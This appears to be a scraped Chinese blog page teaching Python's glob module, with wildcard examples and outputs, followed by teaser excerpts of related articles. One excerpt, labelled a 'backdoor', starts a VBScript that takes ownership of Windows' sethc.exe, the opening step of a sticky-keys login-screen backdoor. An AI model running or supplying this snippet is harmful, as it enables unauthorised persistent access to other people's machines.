python裡有意思的檔案查詢glob模組

2022-06-24 07:15:19 字數 1272 閱讀 6897

python標準庫之glob介紹

glob 檔名模式匹配,不用遍歷整個目錄判斷每個檔案是不是符合。

1、萬用字元

星號(*)匹配零個或多個字元

import glob

for name in glob.glob('dir/*'):

print (name)

dir/file.txt

dir/file1.txt

dir/file2.txt

dir/filea.txt

dir/fileb.txt

dir/subdir

列出子目錄中的檔案,必須在模式中包括子目錄名:

import glob

#用子目錄查詢檔案

print ('named explicitly:')

for name in glob.glob('dir/subdir/*'):

print ('\t', name)

#用萬用字元* 代替子目錄名

print ('named with wildcard:')

for name in glob.glob('dir/*/*'):

print ('\t', name)

named explicitly:

dir/subdir/subfile.txt

named with wildcard:

dir/subdir/subfile.txt

2、單個字元萬用字元

用問號(?)匹配任何單個的字元。

import glob

for name in glob.glob('dir/file?.txt'):

print (name)

dir/file1.txt

dir/file2.txt

dir/filea.txt

dir/fileb.txt

3、字元範圍

當需要匹配乙個特定的字元,可以使用乙個範圍

import glob

for name in glob.glob('dir/*[0-9].*'):

print (name)

dir/file1.txt

dir/file2.txt

Python有意思的defaultdict方法

defaultdict主要解決在建立的dict為空時的賦值問題。1 dict.setdefault 方法 當不用defaultdict方法時,可用dict.setdefault 方法替代 下面使用參考資料中的例子舉例。例子是用來統計陣列中每個詞出現的次數。setdefault kw,0 方法可在di...

有意思的Python例子

第一題a 1 a a 1 print a 請問當前的輸出結果是多少 正確答案是 2 為什麼那?首先拆分 a 1 的結果為 true 現在變成了 a true 在python中 true 轉變為int 型別就是1 所以變成了a 1 結果自然是2嘍 雖然題目問的簡單,但是還是很考驗基本功的 第二題 pr...

有意思的後門

dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...